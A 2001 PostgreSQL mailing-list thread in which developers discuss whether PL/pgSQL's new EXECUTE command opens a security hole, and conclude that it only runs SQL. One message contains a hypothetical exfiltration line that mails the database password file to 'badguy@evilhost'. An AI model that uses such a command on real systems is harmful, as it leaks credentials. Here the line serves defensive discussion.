Thread: Security hole in PL/pgSQL
Damn, the new EXECUTE command in PL/pgSQL is a security hole. PL/pgSQL is a trusted procedural language, meaning that regular users can write code in it. With the new EXECUTE command, someone could read and write arbitrary files under the postgres UNIX-userid using the COPY command. So it's easy to overwrite the hba config file for regular users. I think we have to restrict the usage of EXECUTE inside of function to DB superusers. Meaning, the owner of the function using EXECUTE must be superuser, notthe actual invoker. More damned - PL/Tcl has the same functionality since ever. And there it isn't that easy to restrict, since it hasa much more generalized SPI interface. What do we do in this case? Jan -- #======================================================================# # It's easier to get forgiveness for being wrong than for being right. # # Let's break this rule - forgive me. # #================================================== JanWieck@Yahoo.com # _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com
Jan Wieck <janwieck@Yahoo.com> writes:
> the new EXECUTE command in PL/pgSQL is a security hole.
> PL/pgSQL is a trusted procedural language, meaning that
> regular users can write code in it. With the new EXECUTE
> command, someone could read and write arbitrary files under
> the postgres UNIX-userid using the COPY command.
Huh? This would only be true if all operations inside plpgsql are
executed as superuser, which they are not. Seems to me the existing
defense against non-superuser using COPY is sufficient.
regards, tom lane
Tom Lane wrote: > Jan Wieck <janwieck@Yahoo.com> writes: > > the new EXECUTE command in PL/pgSQL is a security hole. > > PL/pgSQL is a trusted procedural language, meaning that > > regular users can write code in it. With the new EXECUTE > > command, someone could read and write arbitrary files under > > the postgres UNIX-userid using the COPY command. > > Huh? This would only be true if all operations inside plpgsql are > executed as superuser, which they are not. Seems to me the existing > defense against non-superuser using COPY is sufficient. Phew, you save my day. I should better think twice before ringing the alarm bell :-) Jan -- #======================================================================# # It's easier to get forgiveness for being wrong than for being right. # # Let's break this rule - forgive me. # #================================================== JanWieck@Yahoo.com # _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com
> the new EXECUTE command in PL/pgSQL is a security hole. This actually depends but I must admit that I'm concerned too. However, the responsibility for the results should be split adequately IMHO. DBAs should take care about unathorized access to PGSQL server, that's why pg_hba.conf is there. Programmers allowed in must make sure that only relative paths or trusted directories are accessed (stripping out `../' and prepending a pre-defined path is a must) Also, implementation of EXECUTE should probably rely upon execle() with environment dropped to known secure minimum.Sorry if this all is already taken into consideration. Just want to second Jan's statement. -- ������������������
> Huh? This would only be true if all operations inside plpgsql are > executed as superuser, which they are not. Seems to me the existing > defense against non-superuser using COPY is sufficient. Sorry if I missed the point, but if I got it right, Pl/Pgsql EXECUTE will allow execution of any program via exec*() call? If so, this will allow any (system) user to execute arbitrary code as postgres (system) user, right? If so, how can something like EXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd'; be avioded? -- ������������������
On Mon, 29 Jan 2001, KuroiNeko wrote: > Sorry if I missed the point, but if I got it right, Pl/Pgsql EXECUTE will > allow execution of any program via exec*() call? If so, this will allow any > (system) user to execute arbitrary code as postgres (system) user, right? > If so, how can something like > > EXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd'; Being as I was sort of the person who got EXECUTE into plpgsql... I find it odd that people think you can execute random shell commands.. AFAICS, EXECUTE is used to execute SQL queries (for when you don't want to cache the query plan?) ... EXECUTE '' CREATE TABLE '' || NEW.dbs_name || '' ( '' || NEW.dbs_name || ''_id serial, '' || NEW.dbs_name || ''_namevarchar(20), '' || NEW.dbs_name || ''_desc text, '' || NEW.dbs_name || ''_qty int4 );''; I don't see how anybody could think you are allowed to execute random garbage through exec*()... -- Dominic J. Eidson "Baruk Khazad! Khazad ai-menu!" - Gimli ------------------------------------------------------------------------------- http://www.the-infinite.org/ http://www.the-infinite.org/~dominic/
KuroiNeko wrote: > > Huh? This would only be true if all operations inside plpgsql are > > executed as superuser, which they are not. Seems to me the existing > > defense against non-superuser using COPY is sufficient. > > Sorry if I missed the point, but if I got it right, Pl/Pgsql EXECUTE will > allow execution of any program via exec*() call? If so, this will allow any > (system) user to execute arbitrary code as postgres (system) user, right? > If so, how can something like > > EXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd'; > > be avioded? No, EXECUTE just passes a string down to SPI_exec() without trying to prepare and save an execution plan for it. It'snot equivalent to system(3). Jan -- #======================================================================# # It's easier to get forgiveness for being wrong than for being right. # # Let's break this rule - forgive me. # #================================================== JanWieck@Yahoo.com # _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com
> Being as I was sort of the person who got EXECUTE into plpgsql... I find > it odd that people think you can execute random shell commands.. AFAICS, > EXECUTE is used to execute SQL queries (for when you don't want to cache > the query plan?) ... Got it. Thanks. Sorry for the hassle. Back lurking in the shadows. -- ������������������